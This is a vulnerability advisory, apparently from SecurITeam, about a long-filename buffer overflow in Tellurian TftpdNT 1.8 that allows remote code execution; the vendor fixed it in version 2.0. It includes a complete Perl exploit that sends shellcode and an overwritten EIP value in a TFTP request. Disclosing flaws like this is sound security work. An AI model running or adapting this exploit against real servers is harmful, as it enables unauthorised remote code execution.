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  Security Vulnerability in Tellurian TftpdNT (Long Filename) 
------------------------------------------------------------------------


SUMMARY

 <http://www.tellurian.com.au/> Tellurian TftpdNT is a TFTP server for 
Windows NT and Windows 9x.  
A buffer overflow vulnerability in the product allows remote attackers to 
cause the product to overflow an internal buffer, while executing 
arbitrary code. 

DETAILS

Vulnerable systems: 
 * TftpdNT version 1.8 
 
Immune systems: 
 * TftpdNT version 2.0 
 
It is possible to cause a buffer overflow in the Tellurian TftpdNT 
product, while overwriting the EIP pointer - this allows remote command 
execution.  
The overflow occurs in the product's parsing of the filename. 
 
Vendor status: 
The vendor has been informed, and has fixed the issue within 24 hours. A 
new version is available on the web site. 
 
Exploit: 
#!/usr/bin/perl -w 
#Tellurian TFTP Server buffer overflow vulnerability 
 
use IO::Socket; 
$host = "192.168.1.44"; 
$port = "69"; 
 
$shellcode = "\x90\xCC\x90\x90\x90\x90\x8B\xEC\x55\x8B\xEC\x33\ 
\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\ 
\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\ 
\x45\xFE\x65\xB8\xC3\xAF\x01\x78\x50\x8D\x45\xF8\x50\xFF\x55\xF4\x5F"; 
 
$buf = "\x00\x02"; 
$buf .= "\x41"x(508-length($shellcode)); 
$buf .= $shellcode; 
$buf .= "\x0F\x02\xC7"; # EIP 
$buf .= "\x00\x6E\x65\x74\x61\x73\x63\x69\x69\x00"; 
 
print "Length: ", length($buf), "\n"; 
 
$socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error: 
$@\n"; 
$ipaddr = inet_aton($host) || $host; 
$portaddr = sockaddr_in($port, $ipaddr); 
send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send: 
$!\n"; 
print "Done\n"; 


ADDITIONAL INFORMATION

SecurITeam would like to thank  <mailto:storm@securiteam.com> STORM for 
finding this vulnerability.



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